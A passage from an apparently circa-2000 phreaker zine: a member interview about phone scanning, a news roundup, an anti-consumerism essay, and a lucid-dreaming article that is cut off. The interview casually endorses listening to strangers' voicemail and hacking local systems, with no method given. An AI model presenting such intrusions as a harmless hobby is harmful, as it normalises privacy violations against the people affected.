a little story behind the origin of my alias +that you may find interesting. A couple of years ago, I was scanning an 800 +exchange and after dialing a certain number I heard the following recorded +message: + +"Helena3. We're sorry your call cannot be completed as dialed. Please check +the number and try your call again. Helena3." + +Needless to say, I had never heard a message quite like that before. Since I +was still new to scanning at that time, I hadn't encountered any such messages +that use any female names. I was intrigued, and also liked the actual "Helena3" +name that was used as an identifier. It changed scanning for me. It was no +longer just a boring exercise in dialing. It became something more. My +interest level in phreaking increased as my interest in scanning was restored. +Far from being boring, it was now something I definitely wanted to learn more +about -- especially strange recorded messages and quirky little things about the +telephone system that most people don't know about. If you want to hear the +same Helena3 message, I found another number that's still active. Just dial +1-800-555-3807 and listen carefully. Or dial 1-800-222-6666 to hear a Helena10 +message. + +Now that I've explained my alias, and relayed a story about how through scanning +I became hooked, I'll give you a brief history of myself and detail some of the +activities and groups that I'm involved in. + +Technology interests me, and has always interested me. Computers, systems, +modems, cables, networks, phones, have been a hobby of mine for years. There +are those with the stereotypical view that females just aren't interested in +these things. Well, that couldn't be further from the truth. I guess that's +the reason I hate prejudiced people that use stereotypes and refuse to open +their eyes to the world around them. They should wake up and realize that +there are female phreaks, and we aren't going anywhere! :) + +Now, there's something else that I should explain before I carry on with the +interview. I've recently joined Damage, INC. Perhaps you've read some of my +articles already. I wrote an article on Nortel's Millennium Desktop payphones +that was published in the Damage, INC. Newsletter Issue #16. I've also written +articles for other zines in the past. And I've also submitted toll free scans +and numbers to Damage, INC. for use in the Phreaky Field Phreaking List, which +I've contributed to since the very start. But, I never thought I'd be accepted +and welcomed into a group like this. Usually I'd just lurk around, pick up +information here and there, talk with people in groups, write the occasional +article for zines I read, and generally do my own thing. That all changed once +I ran across Damage, INC.'s site, read their zine, and sent them Email with +comments about it. That's the message that started it all, although I'm sure +when it was read, they probably just thought I was another adoring reader, who +was trying to soften them up with compliments. Even though I wasn't sucking +up to them, I'm almost positive it came across that way. It's difficult to +avoid seeming like that when writing to certain groups. Still, about a week +later I received a reply from Blackened. He struck me as being a very friendly, +interesting individual. From there, we corresponded in Email for a short time. +I told him that I wanted to contribute to his group, and he encouraged me to do +so. He also told me that any feedback is always welcome. And that made an +impression on me. + +Skipping forward several months; Blackened and I began to talk on the phone and +exchange Voicemail messages on a regular basis. After a relatively short time, +we began to get to know each other and soon became friends. This was well after +I had submitted an article and numbers. Our relationship just developed and +progressed from there. It became apparent to me that Damage, INC. respected me +for my ideas and knowledge. That brings us to this point. + +I'm excited and proud to be a member of Damage, INC. And I hope to contribute +as much as possible. I'm sure that what I've written here already reflects +that. + + + - Why did you decide to join Damage, INC. as a member? What provoked +you to want to join a group such as this? + +Joining Damage, INC. will definitely be a life-altering decision. But in a way, +it wasn't really a choice. It was something that I had to do, and a natural +progression for me. I feel as though I belong in this group, and was meant to +be a part of it. It's a group of like-minded individuals with similar +interests in computers and telecom. That being said, it's almost like a person +that has a unique ability, talent or interests, and doesn't realize there are +other people that share in that until they find a group or organization that +does. They don't question why, they're just content and happy they found it. + +If I had the same level of interest in something else as I do in phreaking, I'd +probably join a club, team, group or some type of organization involved in that. +But, unlike that example, I wouldn't be afforded the opportunity to learn as +much about my chosen hobby as I will by being in Damage, INC. Nor would I have +as much fun. Basically, it just feels right to be in this group. It's where I +have chosen to be. + + + - What types of hacking/phreaking related projects and activities are you +currently interested in and involved with? + +I'm still interested and involved in scanning and phreaking. I am, without +a doubt, a telephone phreak. I've made phones ring in every State across +America, including Hawaii and Alaska. Calling people and telephone companies +in every U.S. State isn't a real achievement, or a project, but it's a piece +of quirky trivia about me that I thought some people might like to know. + +One of the projects that I'm involved with is the Phreaky Field Phreaking List. +To that I hope to contribute heavily on an ongoing basis. Personally, I think +it's a great project because it provides people with very useful, interesting +numbers. No phreak should be caught dead without it. + +Other than that, I enjoy calling COCOTs and playing around with them. Some +other favourite activities of mine are finding loops, bridges, conferencing, +finding test numbers, strange recordings, calling payphones, and listening to +people's voicemail. I especially enjoy talking with telco employees. I also +spend time hacking around on local systems I've found in my NPA. + +There's so much that can be found and explored, just with the telephone system. +Often people neglect to explore it these days, or are worried about doing so. +And it's not "cool" anymore. But that doesn't determine what I do, and won't +ever stop me. + + + - What has been your overall experience with telco employees as a whole? + +I've met many telco employees over the years. To generalize, the linesmen +are usually decent and the operators are bitchy. :) + +Overall, the ones that I've personally met and carried on conversations with +haven't been all that bad. That is, the majority were. Some of them were +on a power trip though, had a bad attitude or a big ego problem. Usually those +ones were local operators or they were Ops that broke in on a conference. + +I'm known by my voice (and by alias in some cases) to certain operators (even +the 1-800-555-1212 directory assistance Ops). They've been known to recognize +my voice and greet me with "Hi Helena", which is kind of cool. + +A couple of linesmen and techs have given me information over the years as well. + + + - Do you read any h/p related zines? If so, please list a few of the +ones that you read and respect. + +Yes, I read a variety of h/p related zines. I also subscribe to a few security +related mailing lists and things of that nature. Actually, I still do a lot +of reading. But, I don't just read zines. I put what I've read and learned +into practice. All too often that's something people neglect to do, so I felt +it was worth mentioning. + + + - Which h/p groups, if any, do you respect? + +Actually, there are many h/p groups that I respect. I have respect for them +based on what they've done, rather than just what their reputation and image +in the scene is. The following are just a few that stand out in my mind: + +Cult of the Dead Cow, L0pht Heavy Industries, Hack Canada, IIRG, Wraith Tech, +and of course, Damage, INC. I also respect some of the groups that are no +longer around in the scene. + + + - Which web sites do you usually frequent? + +I honestly don't frequent too many web sites anymore. Of the ones that I do, +these are my favourite sites to visit, and the ones that I spend the most time +on or have visited the most often. + +www.hackernews.com, www.hackcanada.com, www.l0pht.com, www.cultdeadcow.com, +www.securityfocus.com, www.phonelosers.org, www.payphone-directory.org, and a +few other web sites that are dedicated to telecommunications. + + + - Do you want to share any memorable hacking/phreaking related experiences? + +I've had quite a few interesting experiences, moments and found many strange +and interesting things since entering the h/p scene. There have also been +some funny and embarrassing moments as well. Let's just say I've had my fair +share of "memorable moments" that I could share. I'll leave it at that. It's +more mysterious that way. + + + - Are there any other interesting things or general comments that you have +and wish to share? + +There are a few words of advice that I'd like to impart upon our readers, now +that I have been given the opportunity. + +Don't just follow, lead. + +Don't believe everything you're told. + +Don't automatically believe everyone. + +Phreaking isn't just about getting free phone calls. That's such a small part +of it, that unfortunately, many newbies tend to get stuck on. Anyone can make +free phone calls. That doesn't make them a phone phreak. + +Phone harassment and prank calling people doesn't make you a phreak. + +Red boxing and beige boxing doesn't make you a phreak. + +Calling long distance using calling cards, extenders, and through PBXs doesn't +make you a phreak. + +Phreaking isn't just for wannabe kids that think it's trendy and cool. It's +for people of all ages that have the desire to know how things really work. + +Exploring, learning and knowing about the inner workings and intricacies of the +actual telephone system means you're a phreak. Being able to speak the language +of telco speak, reciting and knowing how to use the acronyms and abbreviations, +and how the phone system works, are the prerequisites of phreakdom. You don't +graduate to become a full-fledged phreak until you can literally talk the talk +and walk the walk of phreaking. + +Phreaking has to be in your blood. You have to have signals for veins, and +a switching station for a heart and a stomach for moody operators. :) + +Lastly, phreaking isn't just an activity or a skill. It's much more than that. +It's not just about knowledge either. It's a culture. It's a lifestyle. + + - Thanks for agreeing to this interview Helena3. I look forward to your +future contributions to the group. I know that you'll be a quality, valued +member of Damage, INC. We welcome your enthusiastic attitude, the ideas and +the knowledge that you'll bring. You've been considered to be a part of our +group as an "unofficial member" for well over a year already. The only real +difference is, now we've made it official. ;) + +I decided to introduce Helena3 as a new Damage, INC. member through an interview +rather than the traditional way of just announcing it. We hope that you found +this approach more interesting, as it offers more insight into what she's about. + + +NEWS FROM THE TRENCHES - {NEWS} + +Kevin Mitnick was finally released from prison on January 21, 2000. He was +interviewed on CBS' 60 Minutes, and also made an appearance recently on CNN's +TalkBack Live show, along with Kevin Poulsen. The main focus of that show was +regarding the DoS attacks against Yahoo!, eBay, CNN, etc. in February. It +seems as though the mass media's love affair with prominent hackers, fondness +for inviting them as guests on shows, and desire for chatting and interviewing +them is back with full force in 2000. For the moment at least, they're the +new darlings again. At least until the newfound newness wears off. Meaning, +there was a time in the 80s and 90s when hackers and hacking were big stories, +and they were highly sought after as guests... and that quickly turned into +something else, more resembling a witchhunt. So, we'll see how long this lasts. +Read the articles in the Reports from the Front section for more information. +And read Mitnick's article "A Taste of Freedom" in 2600's Spring 2000 edition if +you want more insight on his situation. + +DEF CON is fast approaching. As usual, it's at the end of July. Don't forget +to check www.defcon.org for more information. Check out DEF CON's FTP Archives +as well. + +CBC's UNDERcurrents show, which airs Sundays at 10:30 PM EST is something that +you may want to check out. It's a Canadian TV show that's dedicated to issues +and technology. Their recent shows have been fairly good, especially the one +regarding Stats Canada. They cover privacy issues and report on other things +related to technology that are often ignored by the media. Unfortunately, they +are now repeating programs until next season. Visit their web site at +http://tv.cbc.ca/undercurrents + +There are a few other computer/technology/Internet related television shows +such as ShiftTV (www.shift.com) on the Life Network and ZDTV's Internettonight +(www.internettonight.com) However, neither are as good as Undercurrents in my +opinion. Actually, both can be rather lame, with the latter being the lamer +show of the two. A few episodes of ShiftTV have had good segments of +information. I'll grant them that. I won't even list the other computer shows +in Canada, as they don't deserve to even be mentioned as they're amateur and +basically useless. + +Congratulations to DoubleClick on winning a Big Brother award. They've done +a lot to further the cause of privacy invasion in 2000, and I'm sure it'll +continue in the years ahead. It's companies like them that are doing everything +possible to ensure that this world soon resembles the one described in Orwell's +book, 1984. They're working hard and doing their best to turn fiction into +reality. So, Intel, Micro$oft, and the rest of you out there, keep it up! + +On the same note, a show called "Big Brother" will soon be airing on American +television. Contestants volunteer to be confined in a house together and hope +they'll be the one that wins the money. During their stay, everything is filmed +and monitored 24/7 by TV cameras and microphones. It should provide hours of +entertainment and viewing pleasure for zombies. The caged entertaining the +enslaved. What a brilliant concept. What an amazing premise for a show. It +just proves that "society" actually likes being watched, taped and having +every action tracked and monitored by Big Brother. Anything for greed and fame. + +The ringing in the Mojave Desert has stopped. Yeah, that's right, the Mojave +Desert Phone Booth has been disconnected from service and entirely removed. +Fuck Pacific Bell. It's a fucking shame that they felt it necessary to do +that, instead of just leaving well enough alone. The MDPB was harmless and +provided a great deal of enjoyment to people from around the world. Pac*Bell +is petty and had no real reason to do what they did. Perhaps all of the media +attention prompted its removal. Perhaps they didn't like the number being +posted on the Internet, or didn't like the amount of incoming calls it received +in a month. Who knows. The fact is, they've taken away something, and spoiled +a good thing. It wasn't anything major, but it was fun to call and talk to +Charlie, or whoever else was there to answer it. I'm glad I was one of the +callers during its 40 years in service. At the same time, I'm sickened by the +actions of Pac*Bell. They've destroyed a landmark, a piece of telecom history +without a second thought. In the process, they've shown just how stupid and +ignorant a telephone company can be. They've also robbed Charlie of his hobby. +It's yet another example of how a good thing is always spoiled eventually, or +just completely gone. And that angers me. It also makes me bitter. I enjoyed +calling it and talking with whoever happened to be there to answer. Now all +that's left is silence. Goodbye Charlie. + +The Damage, INC. Phreaky Field Phreaking List (Spring 2000 Edition) was +released on May 5th, 2000. The planets were aligned on 05/05/00 for its +release. It is, without a doubt, the phreakiest damn list of numbers ever +assembled and unleashed on an unsuspecting public. Besides being damn phreaky, +it contains more toll free numbers than you can shake a stick at. But what +else would you expect from Damage, INC. and Blamerica Phreaky Industries? As +Blackie Lawless says, "Mapping 800 exchanges is our business. We put the free +in toll free." It's just another free service that we provide to the masses. +It's a way to find those elite numbers that aren't listed in your local and +800 directories. Numbers are power. Anyone that's interested in scanning, and +contributing scans/numbers, can contact us at damage_inc@disinfo.net + +We're still seeking pictures of payphones, Central Offices, switching stations, +junction boxes, telco vehicles and virtually anything else that's telco related. +We're also interested in payphone numbers. If you'd like to participate in this +large, ongoing project, be sure to contact us. + +I was scanning recently and found a service by Nokia called eVoice, which is +a completely free Voicemail service. The number is 1-800-222-6000. It even +has an ANAC as part of the service. To sign up for a free VMB, just call +1-800-GET-EVOICE. Their web site URL is www.evoice.com if you want to find +out more information. If you want more numbers to services like this, download +DAM00SPR.ZIP (The Phreaky Field Phreaking List, Spring 2000 Edition) + +Andy Grove and Intel were beaten to the punch by Advanced Micro Devices. AMD +was first to introduce a 1 gigahertz chip. AMD's new Athlon chip is the fastest +in the world, and is already in full production. So, forget the Intel PIII +"Big Brother Inside" chips, and go buy an AMD Athlon. No longer will the +Goliath Intel be able to monopolize the industry. Companies like Gateway are +now selling systems with AMD Athlon chips. ;) Read the Reports from the Front +section for more information. + +A Canadian teenager known as Mafiaboy was recently arrested in Montreal. He's +accused of being responsible for various attacks on large web sites. If you +haven't read about it by now, do a search for articles on Yahoo, Wired, CNN, +or just about anywhere else. + +Here's an interesting news article on Bell Canada... + +Pay phones take nights off. + +TORONTO -- For all those nights you've tried pay phone after pay phone, only to +hear the eerie silence of a dead line, here is a partial explanation: + +Bell Canada shuts them off overnight. + +The phone company is fulfilling the request of police and community groups +concerned certain phones are being used for criminal activities like drug +trafficking or prostitution, said Samantha Ouimet, a Bell Canada spokeswoman. + +"The pay phone is used by people who need to cover their tracks," she said +Tuesday, adding Bell had been doing this for about a year. + +Ouimet said pay phones in certain areas are disconnected at night, with hours +varying depending on what the community and police have asked for. + +Sometimes that's as early as 6 p.m. or as late as 9 p.m., with service resuming +at 6 a.m. TORSTAR NEWS SERVICE + +--- + +Oh, so *those* are the people that use payphones. And that's what all payphones +are used for -- to cover a person's tracks. That makes sense. The woman that +has just been robbed, threatened, or worse - raped... has absolutely no use for +payphones after 9 p.m. Hell, that's late at night and she shouldn't be on the +street at that time in the first place, right? And the guy that was at the bar +walking home at night with his friends, who was just shot, doesn't need to have +a working payphone handy to dial 911 either, right? Or the pedestrian kid that +was just hit by a car doesn't have any need to call an ambulance via a payphone +either, right? They can just try payphone after payphone, to no avail. Thanks +to good ol' Ma Bell, they can't dial 911 for assistance anymore if the payphone +they attempt to use has been shut off for the night. The age old excuse of +crime is a good enough reason to prevent people from calling for help in +emergency situations. Yeah, that makes perfect sense... in a paranoid, Big +Brother fearing, illogical, idiocy stricken world. In a pathetic attempt to +restrict, control and prevent crime, the lives of innocent people and victims +are being put at risk in the city of Toronto. Good work Bell! You're the blue +and white cape wearing, ultimate 'Crime Fighting Superhero Telco' for the new +Millennium. (maybe that's why they're so fond of using Nortel Millenniums) + + +OBJECTIVE OPINIONS - {OPINIONS} +Commercialism and Zombieism. + +Zombieism doesn't refer to zombies or zombification in the Haitian sense of the +word. It isn't a term meant to describe people that've been put under a curse +through witchcraft or voodoo. Zombieism isn't a label for a group of people +that've been brought back from the dead and turned into people without souls. +It's a very different phenomenon. It doesn't involve spells being cast or +chemicals and potions being used on someone. This article isn't about sorcerers +and magic. The zombies I'm about to explain aren't cadaverous, corpse-like +creatures of the night. They aren't the walking undead zombies that you read +about and see portrayed in old Hollywood monster movies. They aren't from a +work of fiction. They're real. However, they do share some common traits with +the above. The zombies to which I refer are indeed brainwashed, mindless +creatures that could be classified as being "unhuman" due to their inability to +think for themselves. But they aren't monsters. And they weren't created by +spells, voodoo or anything else of the sort. They aren't undead. They aren't +rare and uncommon either. In fact, it isn't difficult to spot a zombie. They +exist in large numbers and roam every continent of the earth. + +In this article, I will explain the nature of zombies as they relate to +commercialism. I'll define what they are, and delve into the zombie culture, +dissecting as many aspects of their existence and being as possible. I believe +it's important to show zombies for who they are in order to explain the reasons +why commercialism has proliferated so widely in "society" -- in all countries, +in almost all cultures of the world. In other words, I feel that any effort to +discuss commercialism, without first mentioning and providing an adequate +description of zombies, is futile. They play such a vital role in the overall +commercialization of the world, that excluding them from the equation would be +negligent. They're so closely linked, that it would be the equivalent of trying +to write about computer software without using the word computer. They're bound +together, and to avoid using the word zombies, and to ignore them, would condemn +this article to being nothing more than a half truth at best. Therefore, both +commercialism and zombieism will be discussed as they relate to each other. In +my humble opinion, it's the only real way this particular topic can be written +about. Zombies are the cogs in the wheels of commercialism, and I'll prove it. + +Built on greed, lies and corruption, corporations have created something that's +commonly called "commercialism". They've made their own world, with their own +rules, regulations and tactics. In the process, they've removed all ethics +and morals. In their place are the pursuit of money and power, through any +means necessary. That includes underhanded practices like bribes, influencing, +brainwashing, conspiracies, coverups, lies and more lies. Anything is fair +game. Everyone is fair game. No one is a victim. No one is immune to the +almighty corporate world. To them, people are play things that are meant to be +used. And anything, or anyone that stands in their way must be steamrolled and +eliminated so that they can continue on with their agenda. Organizations like +the WTO and World Bank have been formed for this very purpose. They exist to +protect the fat cat corporations and ensure that commercialism survives and +thrives. Whatever is destroyed in the process is of no consequence. Whoever +opposes them is instantly made a target that must be attacked. Nothing is more +important than the continuation of commercialism. Let the protesters be damned. +Let freedom of choice die along with freedom of speech, freedom of expression +and the other rights of individuals. Let freedom and human rights fade away and +die. All the better for the mighty multi-national corporations that obsessively +seek control, power and wealth at all costs. Protect the wealth. Advertise. +Monopolize. Exploit, rape, victimize. Capitalize. Propagandize and influence. +Enslave, control and destroy anyone and anything that stands in your path. +Above all else, profit. Then profit some more. An insatiable appetite for +profit is a must. Profit is all. Do you get the picture? + +Zombieism refers to the zombie culture. The zombie culture embodies much more +than just blind consumers. Zombies are the overwhelming majority in "society", +and don't deserve anyone's pity. They are the biggest driving force behind +commercialism. Without their continuous, vigorous support for materialism, and +endless thirst for consumerism, commercialism wouldn't exist in "society" as it +does now. Zombies are what keeps it alive by buying into the commercialist +culture. And that's basically what zombieism is. That's what their culture is. +It's a sickening culture of mindless, brainwashed, easily influenced, naive, +gullible creatures that exist only to consume. They're also greedy, and always +willing to take any quick schemes they can to "get ahead" and amass wealth. +They're jealous creatures and envy other zombies that are fat cats. And they'll +financially rape anyone they can in order to advance their own finances. They +love status and want people to respect them for the amount of money and material +goods they have. To them, it's all about possessions, and having more than +anyone else. It's about greed and it's about buying. Debt be damned. They'll +run up their credit cards to the max without a second thought. They'll beg the +banks for a mortgage on a house that they cannot afford. They'll lease vehicles +they can't afford. They'll buy clothes, furniture, computers, electronics +equipment, gadgets and other items that are well beyond their means. They will +buy anything on credit, and buy anything for status and self-validation. Those +are the things that make them such easy prey. Corporations can smell zombies +more than a mile away. + +Zombies aren't the have-nots. They're the "must-have" and the "must-have-mores" +of this world. They want, and they want it now. But they also take. Meaning, +at the same time as wanting, they take it whenever corporations ram products +down their throats with obvious marketing campaigns. Whether they actually need +something or not, they take it and buy it. For zombies, it isn't about need and +necessity. It's about materialism. The more materials they have, the better. +The more they want, the less they appreciate what they already have, and the +more they want to buy. It's a vicious cycle that only serves to make zombies +weaker, and corporations stronger. The zombies are so thoroughly brainwashed by +the commercial messages they ingest, they don't even realize how controlled and +owned they are. They just know they want more. By having more, they think +it'll improve their self-image. They think it'll satisfy and fulfill them. + +Zombies are like Pavlov's lapdogs to the corporation. They can be conditioned +to do anything. Ring a bell and they'll eat what you feed them. Ring another +bell and they'll buy what you sell them. The corporation has the power, control +and ability to get them to respond however they want. They monopolize the clan +of zombies in the same way that they monopolize information, and the flow of it. +Conditioning them is just one tactic. But a conditioned response, through means +such as brainwashing, is always desirable. Allowing zombies to think only gives +them an opportunity to hesitate, weigh the options, and make choices. And of +course, thoughtful, informed choices aren't what the corporations want. They +want the zombies to react, without thinking, without logic, without a split +second of hesitation or doubt. The evidence shows that they've achieved that +goal, and have been very successful in helping to create a race of unthinking +creatures that are willing slaves to consumerism. + +The corporate culture is about monopolizing information. That's what they +want to control. Through information, they have power. And with that power, +they can control people. They can eliminate privacy, and monitor every move +of potential customers. You don't have to look any farther than the Internet +to see that happening already. There are cookies and companies like doubleclick +that amass huge amounts of information which is analyzed, and stored in huge +data banks. It's matched with other information, used and sold. They're in the +information business. Whoever owns the most information on people wins. +Whoever can track people accurately, develop profiles on them and target them as +potential consumers the most efficiently wins the jackpot. If you can take one +database of information and link it together with another to develop complete +dossiers on people, and a profile of them and their Internet activities, you +will have an invaluable source of information. The possibilities are limitless. +And that's exactly what they're doing. That's what corporations use technology +for. It's to their benefit. It's all for profit at any cost. + +To perpetuate a monopoly involves more than merely profiteering. Dominance +in the market and bullying companies that rely on your products and services +to muscle out the competition plays a huge role in the psyche and monopoly +dynamic. Many monopolies, like Micro$oft, admit in their own documents and +company Email that they play the game, as it were, unfairly. No monopoly wants +a level playing field. They enjoy monopolizing their industry and want as +little competition as possible. And if at all possible, they try to take over +other industries to further their dominance. Competitors don't drive them to +innovate. Competitors don't increase their profit margins. Competitors won't +help them increase quarterly profits and their stock value. In fact, they cut +into them and are viewed as just a thorn in their side. So, the elimination of +the competition is always a high priority of the monopoly. Their logic is, if +you take away all of the choices from the consumer, they'll come crawling back +to you. And unfortunately, that logic works flawlessly. + +Establish an image. Sell it. Sell the image. Make them recognize it. Make +them want it. Make them crave it. Make them believe they can't live without +it. Make them addicted to it. Market it. Market the product and your image. +Advertise. Advertise to death. Force it down their hungry throats. Make them +loyal to the corporation and its image. Develop the image some more. Integrate +it into their very culture. Don't let them avoid seeing it, hearing it, or +thinking about it. Make them eat, drink, sleep, and breathe it. Market it +until they can't imagine a world without it. Dominate them. Sell it. If you +run into opposition, put the spin team into action. Hire a big public relations +firm and let the press do the rest. The media is your friend. Bribe them. Buy +them. Use them. Exploit them. Own them. Put them media propaganda machine to +work for you. Then sit back and watch the corporate money revolution roll on, +steamrolling everything in his path. The money will be pouring in. Ah yes, +free enterprise, free markets, free trade, capitalism utterly destroying and +obliterating everything in its path. What a beautiful thought. What an amazing +concept. What a beautiful philosophy and ideology to live by. It's so right. +It's so capitalist. It's so monopolistic. It's so perfect. + +Carefully guide them astray. Mislead them through propaganda. Influence them +to take our side. Make them believe the monopoly is good. Tell them it's +necessary. Make them think it's better for them. Tell them we create jobs +and help the economy. Feed them more lies. Force them to swallow them. Then +prey on their sense of desperation. Eventually they'll take anything. They'll +be grateful for the low paying jobs we provide. And they'll be thankful for +whatever meager pittance we decide to give them in return for being slaves to +the global economy. Once they realize it's an equal exchange in which both +parties benefit mutually, we will have total control. + +These quotes are from the movie 'The Big One': + +"If it's all about profit, why doesn't General Motors sell crack? Think about +it. They sell 2,000lb cars for a profit of 1,000 bucks. If they sold 2,000lbs +of crack, they could make a million dollars." - Michael Moore + +"The CIA has the market." - Anonymous guy in the audience. + +So who's guilty? Which companies are built on greed and corruption? Which ones +exploit workers and market their products through influencing and brainwashing +consumers? Which corporations advertise the most? Which pay the least wages? +Which are the worst offenders? The fact is, the most well known, commonly +targeted companies such as Disney, The GAP, Nike, etc. aren't the only ones +that are guilty of these offenses. They're just the ones that stand out. They +are just the ones that people choose to speak out against most often. But by +no means are they alone. There are hundreds of other corporations, built on +image and greed, that exploit workers in third world countries by paying them +extremely low wages and forcing them to work long hours in sweat shops. Many +of these companies don't actually own the overseas factories that produce the +products for them. They think that'll avoid accusations of exploitation. And +whenever they're caught red handed, they claim they didn't know what was going +on in the factories. Or, they put their public relations spin doctors to work +and put forth a statement that claims their wages and working conditions are +more than fair, and above average for that particular country. It's all about +lies and covering up the truth. + +Albert Einstein had a small sign on the wall of his office which read "THINK". +Nothing could be simpler, or carry more meaning than that single word. It was +a reminder to him, and all who entered, that thinking is important. Perhaps +if more people took a second to think, they wouldn't be condemned to living +as a zombie. And to use the corporate angle, it's think or serve. Thinking +provides freedom. Thoughtlessness is slavery. + +In closing, zombies, and the culture of zombieism is directly tied to the +culture of consumerism. They cannot be separated. Not even with a diamond +tipped chainsaw. They are as one, like a symbiot organism to its host. They +need each other for survival. Commercialism couldn't exist without zombies. +It's more than mere consumerism. Zombies are easily and totally brainwashed +into purchasing things that they don't need. They're influenced into buying +things that aren't necessary. And they do so without thought or consideration. +The commercial world and marketing firms know that. It's not a secret to them. + +They use that knowledge to prey upon the naive, gullible zombies. Their lack +of control, and tremendous ignorance are used against them. To the faceless +corporations and large commercial businesses, zombies are nothing more than +walking wallets with expendable income. They're owned by the corporations, +used by them, and meant to be controlled for their own gains. They are a +renewable resource -- an infinite supply of future profits and wealth. And +since they're mindless drones, they're also a cheap workforce that's easy to +maintain, influence, command and control. Throw them a bone once in a while +and they'll happily be slaves for life. The corporations take and take and +take. The zombies take it, and take it, and take it. The zombies give up +everything, including any shred of individuality, freedom and independence, +in order to please their masters of the corporate world. They've been so +thoroughly influenced and brainwashed for so long that they simply have no +rational thought or reasoning skills. In essence, they're completely ignorant +and simply "don't know any better." But that's still not an excuse for allowing +that to happen. That still doesn't excuse their responsibility for the spread +of commercialism, and the way they've ignored all warnings against it. It's +still not a reason for sitting idly by and watching the visible, systematic +commercialization of "society" as a whole. To be blunt, there are no excuses. +There are no valid reasons for tolerating the total, complete, utter mess that +now dominates the world. That mess is commercialism, zombieism and the huge +monopolies that are growing steadily in power, affluence and influence. The +zombies should be held directly responsible as they refused to speak, listen +or take any actions against it. Now we're left with an almost incomprehensible +infestation of commercialism that's infecting people from cradle to grave. + +The zombies may represent the majority of the masses, but they don't represent +me, my opinions or my ideology. I oppose them and their culture, and will do +everything within my power to fight against them and what they stand for. I +don't want to become a victim of corporate commercialism. I don't want to live +my life under their thumb, by their rules, as their commodity. I don't want to +be owned by them, or anyone. I won't just ignore the complete monopolization of +the world that's happening right now, all around me. Nor will I sit idly by +and watch the commercialization of everything without making statements against +it. I won't be governed by them and their greed. Now is the time to break some +cogs off the wheels of the corporate machine and make a statement to them that +will be heard by all. Speak out. Voice your opposition. + +Written by BLACKENED ú Damage, INC. (C)opyright 2000. + + +Lucid Dreaming. + +This article will be an approach to lucid dreaming from my perspective, based +on my own personal experiences. Don't think of it as a guide on "how to hax0r +your dreams". Instead, just consider what I've written and my opinions on it. +And if you want to try some of the techniques discussed and train yourself to +have lucid dreams, that's your choice. + +First, I'll explain what the term "lucid dreaming" means. The way in which I +define it is being in deep REM sleep, aware that you're asleep and dreaming, +having control over the circumstances of your dreams, and how they unfold. It's +a level of awareness and state of mind that many people simply don't achieve +while they're dreaming. Also, having the ability to remember your dreams is +important, as not remembering what you did and what occurred defeats the whole +purpose of lucid dreaming. + +Lucid means bright or clear, and that's exactly what lucid dreams are like. +Once you realize you're just dreaming, everything becomes much more clear. +Suddenly you've unlocked the knowledge that you can do and be anything you want. +At that point, your imagination takes over. + +While a person is lucid dreaming, they can control what occurs during the dream +and do things that they otherwise couldn't while awake. That just means that +you can will yourself to do things that are otherwise impossible, like flying, +walking through walls, diving to the bottom of oceans, traveling into space, +etc. without any equipment to allow it. And obviously, there are other things +that you can dream about and do as well. There are literally no limits and +endless possibilities. Unlocking the power of your mind to hack your dreams +is one of the most amazing things you can do. Our brains, our wetware as it +were, is the greatest piece of technology that we possess. + +There are several well known techniques that will help you achieve lucidity +during sleep. The simplest method is to ask yourself "Am I dreaming?" while +you're awake, repeatedly throughout the day. Then you'll eventually ask +yourself that same question while you're dreaming, and it could be the catalyst +that makes you realize you're in a dream state. Just don't ask yourself that +aloud while walking around in public, or it'll garner some strange looks. ;) + +Another approach is to repeat "I'm dreaming." in your mind while you're about +to enter sleep. Once you've made the transition to a sleep state, that +thought might remain implanted in your mind, and you'll realize you're dreaming. +You may even hear yourself saying "I'm dreaming" in your dreams. + +A third way is to listen to tapes that relax you and open your mind. These +audio tapes can be anything from calming new age music, to ones that contain +hidden messages. This is the only method that seems to work for certain people, +but I've never chosen to use it. + +Once you've achieved a lucid dreaming state, and want to control the plot of +your dreams, you might have to experiment and practice before being able to do +exactly what you want. For some people, it's easy and comes naturally. For +others, the process is slower and they have to learn how to make their mind +control their dreams. For some, learning how to monopolize their dreams can +be a long, arduous process. It takes practice to be able to do everything you +want to do. For example, if you want to fly in your dreams, but can't seem to +will yourself off the ground and into the air, you may want to try jumping off +a building or a high point of ground, such as a cliff. Sometimes that works, +as after falling for a couple of seconds, your mind realizes that you don't +really have to fall, and can make yourself fly. Don't worry about dying from +falling in a dream. That's a huge myth. It's perfectly safe to do anything in +dreams. You can't be killed no matter what you try to do. The simple answer +for that is your mind can't dream something that can harm your body. Dreams +aren't the same as the physical world. + +To awaken yourself during a lucid dream, I've found that the best method to +use is simply to close your eyes for a few seconds. If you're still not awake, +open them again. Usually that initiates the waking state. Hell, with a lot of +practice, you can even train yourself to wake up at certain times and be within +a few minutes of the time you selected to awake before you went to sleep. + +Remembering lucid dreams can be more difficult for some people. The +subconscious mind is complex, and can be very tricky. One way to increase +the amount of dreams you remember is to set a schedule for sleeping and waking. +In other words, have a set time in which you go to sleep and wake up. The +longer the time is after REM sleep has ended, the less likely it is you'll be +able to remember your last dream. So, if you had a lucid dream, you may not +remember it after you're awake, unless you limit the amount of time you sleep +to around 7 or 8 hours per sleep session. The final REM cycle tends to last +until you've been asleep for approximately 7 hours. So, try to avoid setting +your alarm so that it activates while you're in the middle of a lucid dream. +Once you have been awakened, write down whatever you remember happening and +try to record all of the details while they're fresh in your mind. In most +cases, the longer you delay writing down what occurred in a dream, the less you +will be able to remember. Dreams aren't like normal memories of real life +events, so they usually don't remain in our conscious minds for too long. Even +if they do, the vivid details of them tend to fade quickly. Personally, I can +recall dreams that I had a decade or longer ago, but can't remember every detail +anymore. The norm is that people tend to forget their dreams after a while. + +Drugs and medication can sometimes affect your dreams, and a person's ability +to lucid dream. Since certain drugs are mind altering and change your state of +mind, they can have detrimental affects on you sleep. In some cases, they can +also be responsible for preventing you from remembering dreams. And that can +be a very unfortunate side effect. However, sometimes a person will lose their +ability to recall what they've dreamed, for no apparent reason. That has +happened to me personally, several times over the years. I simply cannot +explain why that occurs. Normally a person has several dreams each night. +Just because you can't remember them, doesn't mean they didn't occur. But +dreams can be elusive, as can one's ability to recall them. One of the best +ways to prevent dream memory loss from happening is to develop consistent sleep +patterns. Try to maintain a routine and relax. Sometimes meditation or reading +a good book can help prepare you for lucid dreaming and dream recall. + +In closing, lucid dreaming is another way for a person to use their imagination, +entertain and express themselves. It's an experience that everyone should try. +It's like having a great awakening the first time you have a lucid dream, +realize you're dreaming and attempt to shape how the remainder of the events +in the dream unfold around you. It's amazing. Sometimes you have total control +over the dream, and other times you only have partial control. Obviously all +dreams are created by your subconscious mind, so there's never an external +source that's controlling them. It's really just a 